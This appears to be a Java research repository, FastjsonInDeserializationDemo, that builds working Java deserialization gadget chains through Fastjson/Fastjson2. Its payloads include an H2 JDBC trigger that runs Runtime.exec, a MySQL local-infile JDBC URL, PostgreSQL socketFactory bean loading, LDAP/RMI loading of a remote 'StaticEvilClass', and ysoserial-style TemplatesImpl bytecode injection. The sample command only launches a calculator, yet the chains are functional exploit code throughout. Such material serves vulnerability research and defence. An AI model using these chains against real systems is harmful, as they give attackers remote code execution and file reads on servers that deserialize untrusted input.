├── .gitignore ├── README.md ├── pom.xml └── src └── main └── java ├── Fastjson4_DriverManagerDataSource.java ├── Fastjson4_DriverManagerDataSource_c3p0.java ├── Fastjson4_JdkDynamicAopProxy.java ├── Fastjson4_LdapAttribute.java ├── Fastjson4_MysqlDataSource.java ├── Fastjson4_ObjectFactoryDelegatingInvocationHandler.java ├── Fastjson4_PGSimpleDataSource.java ├── Fastjson4_ReferenceSerialized.java ├── common ├── ClassFiles.java ├── Reflections.java └── Util.java └── gadgets ├── BadAttrValExeNode.java ├── DriverManagerDataSourceNode.java ├── DriverManagerDataSourceNode_c3p0.java ├── HashMapNode.java ├── JSONObjectNode.java ├── JdkDynamicAopProxyNode.java ├── JsonArrayNode.java ├── LdapAttributeNode.java ├── MysqlDataSourceNode.java ├── ObjectFactoryDelegatingInvocationHandlerNode.java ├── PGSimpleDataSourceNode.java ├── ReferenceSerializedNode.java └── TemplatesImplNode.java /.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | !**/src/main/**/target/ 4 | !**/src/test/**/target/ 5 | 6 | ### IntelliJ IDEA ### 7 | .idea/modules.xml 8 | .idea/jarRepositories.xml 9 | .idea/compiler.xml 10 | .idea/libraries/ 11 | *.iws 12 | *.iml 13 | *.ipr 14 | .idea 15 | 16 | ### Eclipse ### 17 | .apt_generated 18 | .classpath 19 | .factorypath 20 | .project 21 | .settings 22 | .springBeans 23 | .sts4-cache 24 | 25 | ### NetBeans ### 26 | /nbproject/private/ 27 | /nbbuild/ 28 | /dist/ 29 | /nbdist/ 30 | /.nb-gradle/ 31 | build/ 32 | !**/src/main/**/build/ 33 | !**/src/test/**/build/ 34 | 35 | ### VS Code ### 36 | .vscode/ 37 | 38 | 39 | ### Mac OS ### 40 | .DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 参考文章:https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q 2 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | org.example 5 | FastjsonInDeserializationDemo 6 | 1.0-SNAPSHOT 7 | Archetype - FastjsonInDeserializationDemo 8 | http://maven.apache.org 9 | 10 | 11 | org.javassist 12 | javassist 13 | 3.19.0-GA 14 | 15 | 16 | 17 | com.mchange 18 | c3p0 19 | 0.9.5.5 20 | 21 | 22 | com.alibaba.fastjson2 23 | fastjson2 24 | 2.0.53 25 | 26 | 27 | 28 | com.alibaba 29 | fastjson 30 | 1.2.83 31 | 32 | 33 | 34 | com.h2database 35 | h2 36 | 1.4.200 37 | 38 | 39 | 40 | org.postgresql 41 | postgresql 42 | 42.3.1 43 | 44 | 45 | 46 | org.springframework 47 | spring-context 48 | 5.3.6 49 | 50 | 51 | 52 | mysql 53 | mysql-connector-java 54 | 5.1.47 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /src/main/java/Fastjson4_DriverManagerDataSource.java: -------------------------------------------------------------------------------- 1 | import common.Util; 2 | import gadgets.*; 3 | 4 | public class Fastjson4_DriverManagerDataSource { 5 | public Object getObject (String jdbc) throws Exception { 6 | 7 | Object node1 = DriverManagerDataSourceNode.makeGadget(jdbc); 8 | Object node2 = JsonArrayNode.makeGadget(2,node1); 9 | Object node3 = BadAttrValExeNode.makeGadget(node2); 10 | Object[] array = new Object[]{node1,node3}; 11 | Object node4 = HashMapNode.makeGadget(array); 12 | return node4; 13 | } 14 | 15 | public static void main(String[] args) throws Exception { 16 | String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"" + Util.getDefaultTestCmd() +"\")\njava.lang.Thread.sleep(5000)"; 17 | String jdbc = "jdbc:h2:mem:;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'"; 18 | Object object = new Fastjson4_DriverManagerDataSource().getObject(jdbc); 19 | Util.runGadgets(object); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/main/java/Fastjson4_DriverManagerDataSource_c3p0.java: -------------------------------------------------------------------------------- 1 | import common.Util; 2 | import gadgets.*; 3 | 4 | public class Fastjson4_DriverManagerDataSource_c3p0 { 5 | public Object getObject (String jdbc) throws Exception { 6 | 7 | Object node1 = DriverManagerDataSourceNode_c3p0.makeGadget(jdbc); 8 | Object node2 = JsonArrayNode.makeGadget(2,node1); 9 | Object node3 = BadAttrValExeNode.makeGadget(node2); 10 | Object[] array = new Object[]{node1,node3}; 11 | Object node4 = HashMapNode.makeGadget(array); 12 | return node4; 13 | } 14 | 15 | public static void main(String[] args) throws Exception { 16 | String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"" + Util.getDefaultTestCmd() +"\")\njava.lang.Thread.sleep(5000)"; 17 | String jdbc = "jdbc:h2:mem:;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'"; 18 | Object object = new Fastjson4_DriverManagerDataSource_c3p0().getObject(jdbc); 19 | Util.runGadgets(object); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/main/java/Fastjson4_JdkDynamicAopProxy.java: -------------------------------------------------------------------------------- 1 | import common.Util; 2 | import gadgets.*; 3 | 4 | import javax.xml.transform.Templates; 5 | import java.lang.reflect.InvocationHandler; 6 | import java.lang.reflect.Proxy; 7 | 8 | public class Fastjson4_JdkDynamicAopProxy { 9 | public Object getObject (String cmd) throws Exception { 10 | 11 | Object node1 = TemplatesImplNode.makeGadget(cmd); 12 | Object node2 = JdkDynamicAopProxyNode.makeGadget(node1); 13 | Proxy proxy = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(), 14 | new Class[]{Templates.class}, (InvocationHandler)node2); 15 | Object node3 = JsonArrayNode.makeGadget(2,proxy); 16 | Object node4 = BadAttrValExeNode.makeGadget(node3); 17 | Object[] array = new Object[]{node1,node4}; 18 | Object node5 = HashMapNode.makeGadget(array); 19 | return node5; 20 | } 21 | 22 | public static void main(String[] args) throws Exception { 23 | Object object = new Fastjson4_JdkDynamicAopProxy().getObject(Util.getDefaultTestCmd()); 24 | Util.runGadgets(object); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/main/java/Fastjson4_LdapAttribute.java: -------------------------------------------------------------------------------- 1 | import common.Util; 2 | import gadgets.*; 3 | 4 | public class Fastjson4_LdapAttribute { 5 | 6 | public Object getObject ( String baseCtxURL,String rdn) throws Exception { 7 | 8 | Object node1 = LdapAttributeNode.makeGadget(baseCtxURL,rdn); 9 | Object node2 = JsonArrayNode.makeGadget(2,node1); 10 | Object node3 = BadAttrValExeNode.makeGadget(node2); 11 | Object[] array = new Object[]{node1,node3}; 12 | Object node4 = HashMapNode.makeGadget(array); 13 | return node4; 14 | } 15 | 16 | public static void main(String[] args) throws Exception { 17 | Object object = new Fastjson4_LdapAttribute().getObject("ldap://127.0.0.1:1234/","StaticEvilClass"); 18 | Util.runGadgets(object); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/main/java/Fastjson4_MysqlDataSource.java: -------------------------------------------------------------------------------- 1 | import common.Util; 2 | import gadgets.*; 3 | 4 | public class Fastjson4_MysqlDataSource { 5 | public Object getObject(String jdbc) throws Exception { 6 | 7 | Object node1 = MysqlDataSourceNode.makeGadget(jdbc); 8 | Object node2 = JsonArrayNode.makeGadget(2,node1); 9 | Object node3 = BadAttrValExeNode.makeGadget(node2); 10 | Object[] array = new Object[]{node1,node3}; 11 | Object node4 = HashMapNode.makeGadget(array); 12 | return node4; 13 | } 14 | 15 | public static void main(String[] args) throws Exception { 16 | String jdbc = "jdbc:mysql://127.0.0.1:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360"; 17 | Object object = new Fastjson4_MysqlDataSource().getObject(jdbc); 18 | Util.runGadgets(object); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/main/java/Fastjson4_ObjectFactoryDelegatingInvocationHandler.java: -------------------------------------------------------------------------------- 1 | import common.Util; 2 | import gadgets.*; 3 | import org.springframework.beans.factory.ObjectFactory; 4 | 5 | import javax.xml.transform.Templates; 6 | import java.lang.reflect.InvocationHandler; 7 | import java.lang.reflect.Proxy; 8 | import java.util.HashMap; 9 | import java.util.Map; 10 | 11 | public class Fastjson4_ObjectFactoryDelegatingInvocationHandler { 12 | 13 | public Object getObject (String cmd) throws Exception { 14 | 15 | Object node1 = TemplatesImplNode.makeGadget(cmd); 16 | Map map = new HashMap(); 17 | map.put("object",node1); 18 | Object node2 = JSONObjectNode.makeGadget(2,map); 19 | Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), 20 | new Class[]{ObjectFactory.class}, (InvocationHandler)node2); 21 | Object node3 = ObjectFactoryDelegatingInvocationHandlerNode.makeGadget(proxy1); 22 | Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(), 23 | new Class[]{Templates.class}, (InvocationHandler)node3); 24 | Object node4 = JsonArrayNode.makeGadget(2,proxy2); 25 | Object node5 = BadAttrValExeNode.makeGadget(node4); 26 | Object[] array = new Object[]{node1,node5}; 27 | Object node6 = HashMapNode.makeGadget(array); 28 | return node6; 29 | } 30 | 31 | public static void main(String[] args) throws Exception { 32 | Object object = new Fastjson4_ObjectFactoryDelegatingInvocationHandler().getObject(Util.getDefaultTestCmd()); 33 | Util.runGadgets(object); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/Fastjson4_PGSimpleDataSource.java: -------------------------------------------------------------------------------- 1 | import common.Util; 2 | import gadgets.*; 3 | 4 | public class Fastjson4_PGSimpleDataSource { 5 | public Object getObject ( String socketFactoryArg) throws Exception { 6 | 7 | Object node1 = PGSimpleDataSourceNode.makeGadget(socketFactoryArg); 8 | Object node2 = JsonArrayNode.makeGadget(2,node1); 9 | Object node3 = BadAttrValExeNode.makeGadget(node2); 10 | Object[] array = new Object[]{node1,node3}; 11 | Object node4 = HashMapNode.makeGadget(array); 12 | return node4; 13 | } 14 | 15 | public static void main(String[] args) throws Exception { 16 | String socketFactoryArg = "http://127.0.0.1:8000/pgsql_bean_factory.xml"; 17 | Object object = new Fastjson4_PGSimpleDataSource().getObject(socketFactoryArg); 18 | Util.runGadgets(object); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/main/java/Fastjson4_ReferenceSerialized.java: -------------------------------------------------------------------------------- 1 | import common.Util; 2 | import gadgets.BadAttrValExeNode; 3 | import gadgets.HashMapNode; 4 | import gadgets.JsonArrayNode; 5 | import gadgets.ReferenceSerializedNode; 6 | 7 | public class Fastjson4_ReferenceSerialized { 8 | public Object getObject ( String className,String baseUrl) throws Exception { 9 | 10 | Object node1 = ReferenceSerializedNode.makeGadget(className,baseUrl); 11 | Object node2 = JsonArrayNode.makeGadget(2,node1); 12 | Object node3 = BadAttrValExeNode.makeGadget(node2); 13 | Object[] array = new Object[]{node1,node3}; 14 | Object node4 = HashMapNode.makeGadget(array); 15 | return node4; 16 | } 17 | 18 | public static void main(String[] args) throws Exception { 19 | Object object = new Fastjson4_ReferenceSerialized().getObject("StaticEvilClass","http://127.0.0.1:8000/"); 20 | Util.runGadgets(object); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/main/java/common/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package common; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | 7 | public class ClassFiles { 8 | public static String classAsFile(final Class clazz) { 9 | return classAsFile(clazz, true); 10 | } 11 | 12 | public static String classAsFile(final Class clazz, boolean suffix) { 13 | String str; 14 | if (clazz.getEnclosingClass() == null) { 15 | str = clazz.getName().replace(".", "/"); 16 | } else { 17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 18 | } 19 | if (suffix) { 20 | str += ".class"; 21 | } 22 | return str; 23 | } 24 | 25 | public static byte[] classAsBytes(final Class clazz) { 26 | try { 27 | final byte[] buffer = new byte[1024]; 28 | final String file = classAsFile(clazz); 29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 30 | if (in == null) { 31 | throw new IOException("couldn't find '" + file + "'"); 32 | } 33 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | int len; 35 | while ((len = in.read(buffer)) != -1) { 36 | out.write(buffer, 0, len); 37 | } 38 | return out.toByteArray(); 39 | } catch (IOException e) { 40 | throw new RuntimeException(e); 41 | } 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/common/Reflections.java: -------------------------------------------------------------------------------- 1 | package common; 2 | 3 | 4 | import sun.reflect.ReflectionFactory; 5 | 6 | import java.lang.reflect.*; 7 | import java.util.ArrayList; 8 | import java.util.Arrays; 9 | import java.util.List; 10 | 11 | public class Reflections { 12 | 13 | public static Field getField(Class clazz,String fieldName) throws NoSuchFieldException { 14 | 15 | while (true){ 16 | Field[] fields = clazz.getDeclaredFields(); 17 | for(Field field:fields){ 18 | if(field.getName().equals(fieldName)){ 19 | return field; 20 | } 21 | } 22 | if(clazz == Object.class){ 23 | break; 24 | } 25 | clazz = clazz.getSuperclass(); 26 | } 27 | throw new NoSuchFieldException(fieldName); 28 | } 29 | 30 | 31 | public static Object getFieldValue(Object obj,String filedName) throws NoSuchFieldException, IllegalAccessException { 32 | Field field = getField(obj.getClass(),filedName); 33 | field.setAccessible(true); 34 | return field.get(obj); 35 | } 36 | 37 | public static void setFieldValue(Object obj,String filedName,Object value) throws NoSuchFieldException, IllegalAccessException { 38 | Field field = getField(obj.getClass(),filedName); 39 | field.setAccessible(true); 40 | field.set(obj,value); 41 | } 42 | 43 | public static Method getMethod(Class clazz,String methodName,Class... paramTypes) throws NoSuchFieldException { 44 | 45 | while (true){ 46 | Method[] methods = clazz.getDeclaredMethods(); 47 | for(Method method:methods){ 48 | if(method.getName().equals(methodName) && Arrays.equals(paramTypes, method.getParameterTypes())){ 49 | method.setAccessible(true); 50 | return method; 51 | } 52 | } 53 | if(clazz == Object.class){ 54 | break; 55 | } 56 | clazz = clazz.getSuperclass(); 57 | } 58 | throw new NoSuchFieldException(methodName); 59 | } 60 | 61 | 62 | public static boolean hasField(Class clazz,String fieldName) { 63 | try { 64 | getField(clazz,fieldName); 65 | return true; 66 | }catch (Exception e){ 67 | return false; 68 | } 69 | } 70 | 71 | public static Object newInstance(String className,Class paramType,Object param) throws Exception { 72 | return newInstance(Class.forName(className),paramType,param); 73 | } 74 | 75 | public static Object newInstance(String className,Class[] paramTypes,Object[] params) throws Exception { 76 | return newInstance(Class.forName(className),paramTypes,params); 77 | } 78 | 79 | public static Object newInstance(Class clazz,Class paramType,Object param) throws Exception { 80 | return newInstance(clazz,new Class[]{paramType},new Object[]{param}); 81 | } 82 | 83 | public static Object newInstance(Class clazz,Class[] paramTypes,Object[] params) throws Exception { 84 | Constructor constructor = clazz.getDeclaredConstructor(paramTypes); 85 | constructor.setAccessible(true); 86 | return constructor.newInstance(params); 87 | } 88 | 89 | public static Object newInstanceWithOnlyConstructor(String className,Object... params) throws Exception { 90 | return newInstanceWithOnlyConstructor(Class.forName(className),params); 91 | } 92 | 93 | public static Object newInstanceWithOnlyConstructor(Class clazz,Object... params) throws Exception { 94 | Constructor[] constructors = clazz.getDeclaredConstructors(); 95 | if(constructors.length > 1){ 96 | throw new IllegalStateException("The number of construction methods is more than 1,can't use newInstanceWithOnlyConstructor"); 97 | } 98 | Constructor constructor = constructors[0]; 99 | constructor.setAccessible(true); 100 | return constructor.newInstance(params); 101 | } 102 | 103 | public static Object newInstanceWithoutConstructor(String className) throws Exception { 104 | return newInstanceWithoutConstructor(Class.forName(className)); 105 | } 106 | 107 | public static T newInstanceWithoutConstructor(Class clazz) throws Exception { 108 | return newInstanceWithSpecialConstructor(clazz,Object.class,new Class[0],new Object[0]); 109 | } 110 | 111 | public static T newInstanceWithSpecialConstructor( Class clazz, Class constructorClass, Class[] consArgTypes, Object[] consArgs) throws Exception { 112 | Constructor consTmpl = constructorClass.getDeclaredConstructor(consArgTypes); 113 | consTmpl.setAccessible(true); 114 | Constructor constructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz, consTmpl); 115 | constructor.setAccessible(true); 116 | return (T)constructor.newInstance(consArgs); 117 | } 118 | 119 | 120 | public static Method[] getGetterMethod(Class clazz) throws Exception{ 121 | Method[] allMethods = clazz.getMethods(); 122 | List methods = new ArrayList(); 123 | for(Method method:allMethods){ 124 | String name = method.getName(); 125 | if(name.length()>3 && name.startsWith("get") && Character.isUpperCase(name.charAt(3)) && 126 | method.getParameterCount()==0 ){ 127 | methods.add(method); 128 | } 129 | } 130 | return (Method[]) methods.toArray(new Method[methods.size()]); 131 | } 132 | 133 | 134 | /** 135 | * 根据类名获取类,处理一些特殊情况 136 | */ 137 | public static Class getClassByName(String className) throws ClassNotFoundException { 138 | Class clazz = null; 139 | className = className.replace("/","."); 140 | try { 141 | clazz = Class.forName(className); 142 | }catch (Exception e1){ 143 | String newClassName; 144 | // 处理内部类的情况 145 | int[] positions = Util.findAllPositionsOfChar(className,'.'); 146 | int len = className.length(); 147 | for(int i=positions.length-1;i>=0;i--){ 148 | int position = positions[i]; 149 | newClassName = className.substring(0,position) + "$" + className.substring(position+1,len); 150 | try { 151 | clazz = Class.forName(newClassName); 152 | 153 | }catch (Exception e2){ 154 | 155 | } 156 | } 157 | } 158 | if (clazz == null) throw new ClassNotFoundException(className); 159 | 160 | return clazz; 161 | } 162 | 163 | } 164 | -------------------------------------------------------------------------------- /src/main/java/common/Util.java: -------------------------------------------------------------------------------- 1 | package common; 2 | 3 | import java.io.*; 4 | import java.lang.reflect.Array; 5 | import java.lang.reflect.Constructor; 6 | import java.util.ArrayList; 7 | import java.util.HashMap; 8 | import java.util.List; 9 | 10 | public class Util { 11 | 12 | public static String getDefaultTestCmd(){ 13 | String osName = System.getProperty("os.name"); 14 | if (osName.startsWith("Mac")) { 15 | return "open /System/Applications/Calculator.app"; 16 | } 17 | return "calc"; 18 | } 19 | 20 | public static void writeObj2File(Object obj,String path) throws IOException { 21 | System.out.println("set obj to "+ path); 22 | FileOutputStream fileOut = new FileOutputStream(path); 23 | ObjectOutputStream out = new ObjectOutputStream(fileOut); 24 | out.writeObject(obj); 25 | out.close(); 26 | fileOut.close(); 27 | } 28 | 29 | public static Object readObj4File(String path) throws IOException, ClassNotFoundException { 30 | System.out.println("get obj for "+ path); 31 | FileInputStream fileInput = new FileInputStream(path); 32 | ObjectInputStream input = new ObjectInputStream(fileInput); 33 | return input.readObject(); 34 | } 35 | 36 | public static void runGadgets(Object obj)throws Exception{ 37 | byte[] ser = serialize(obj); 38 | deserialize(ser); 39 | } 40 | 41 | public static byte[] serialize(final Object obj) throws IOException { 42 | System.out.println("serialize obj: "+ obj.getClass().getName()); 43 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 44 | final ObjectOutputStream objOut = new ObjectOutputStream(out); 45 | objOut.writeObject(obj); 46 | return out.toByteArray(); 47 | } 48 | 49 | public static Object deserialize(byte[] ser) throws IOException, ClassNotFoundException { 50 | System.out.println("deserialize obj"); 51 | final ByteArrayInputStream in = new ByteArrayInputStream(ser); 52 | final ObjectInputStream objIn = new ObjectInputStream(in); 53 | return objIn.readObject(); 54 | } 55 | 56 | 57 | /** 58 | * 字节数组转16进制 59 | * @param bytes 需要转换的byte数组 60 | * @return 转换后的Hex字符串 61 | */ 62 | public static String bytesToHex(byte[] bytes) { 63 | StringBuffer sb = new StringBuffer(); 64 | for(int i = 0; i < bytes.length; i++) { 65 | String hex = Integer.toHexString(bytes[i] & 0xFF); 66 | if(hex.length() < 2){ 67 | sb.append(0); 68 | } 69 | sb.append(hex); 70 | } 71 | return sb.toString(); 72 | } 73 | 74 | /** 75 | * hex字符串转byte数组 76 | * @param hex 待转换的Hex字符串 77 | * @return 转换后的byte数组结果 78 | */ 79 | public static byte[] hexToByteArray(String hex){ 80 | int hexlen = hex.length(); 81 | byte[] result; 82 | if (hexlen % 2 == 1){ 83 | hexlen++; 84 | result = new byte[(hexlen/2)]; 85 | hex="0"+hex; 86 | }else { 87 | result = new byte[(hexlen/2)]; 88 | } 89 | int j=0; 90 | for (int i = 0; i < hexlen; i+=2){ 91 | result[j]=(byte)Integer.parseInt(hex.substring(i,i+2),16); 92 | j++; 93 | } 94 | return result; 95 | } 96 | 97 | public static String join(String[] strings, String sep, String prefix, String suffix) { 98 | final StringBuilder sb = new StringBuilder(); 99 | boolean first = true; 100 | for (String s : strings) { 101 | if (! first) sb.append(sep); 102 | if (prefix != null) sb.append(prefix); 103 | sb.append(s); 104 | if (suffix != null) sb.append(suffix); 105 | first = false; 106 | } 107 | return sb.toString(); 108 | } 109 | 110 | public static String join(String[] strings, String sep) { 111 | final StringBuilder sb = new StringBuilder(); 112 | boolean first = true; 113 | for (String s : strings) { 114 | if (! first) sb.append(sep); 115 | sb.append(s); 116 | first = false; 117 | } 118 | return sb.toString(); 119 | } 120 | 121 | public static HashMap createSilenceHashMap(Object key1,Object value1,Object key2,Object value2) throws Exception { 122 | return createSilenceHashMap(new Object[]{key1,key2},new Object[]{value1,value2}); 123 | } 124 | 125 | public static HashMap createSilenceHashMap(Object[] keys, Object[]values) throws Exception { 126 | HashMap map = new HashMap(); 127 | Reflections.setFieldValue(map, "size", keys.length); 128 | Class nodeC; 129 | try { 130 | nodeC = Class.forName("java.util.HashMap$Node"); 131 | } 132 | catch ( ClassNotFoundException e ) { 133 | nodeC = Class.forName("java.util.HashMap$Entry"); 134 | } 135 | Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); 136 | nodeCons.setAccessible(true); 137 | Object tbl = Array.newInstance(nodeC, keys.length); 138 | for(int i=0;i positions = new ArrayList<>(); 151 | for (int i = 0; i < str.length(); i++) { 152 | if (str.charAt(i) == ch) { 153 | positions.add(i); 154 | } 155 | } 156 | int[] positionArray = new int[positions.size()]; 157 | for(int i=0;i T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) 36 | throws Exception { 37 | final T templates = tplClass.newInstance(); 38 | 39 | // use template gadget class 40 | ClassPool pool = ClassPool.getDefault(); 41 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); 42 | pool.insertClassPath(new ClassClassPath(abstTranslet)); 43 | final CtClass clazz = pool.get(StubTransletPayload.class.getName()); 44 | // run command in static initializer 45 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 46 | String cmd = "java.lang.Runtime.getRuntime().exec(\"" + 47 | command.replace("\\", "\\\\").replace("\"", "\\\"") + 48 | "\");"; 49 | clazz.makeClassInitializer().insertAfter(cmd); 50 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) 51 | clazz.setName("ysoserial.Pwner" + System.nanoTime()); 52 | CtClass superC = pool.get(abstTranslet.getName()); 53 | clazz.setSuperclass(superC); 54 | 55 | final byte[] classBytes = clazz.toBytecode(); 56 | 57 | // inject class bytes into instance 58 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { 59 | classBytes, ClassFiles.classAsBytes(Foo.class) 60 | }); 61 | 62 | // required to make TemplatesImpl happy 63 | Reflections.setFieldValue(templates, "_name", "Pwnr"); 64 | Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); 65 | return templates; 66 | } 67 | 68 | public static class Foo implements Serializable { 69 | 70 | private static final long serialVersionUID = 8207363842866235160L; 71 | } 72 | public static class StubTransletPayload extends AbstractTranslet implements Serializable { 73 | 74 | private static final long serialVersionUID = -5971610431559700674L; 75 | 76 | 77 | public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {} 78 | 79 | 80 | @Override 81 | public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} 82 | } 83 | } 84 | --------------------------------------------------------------------------------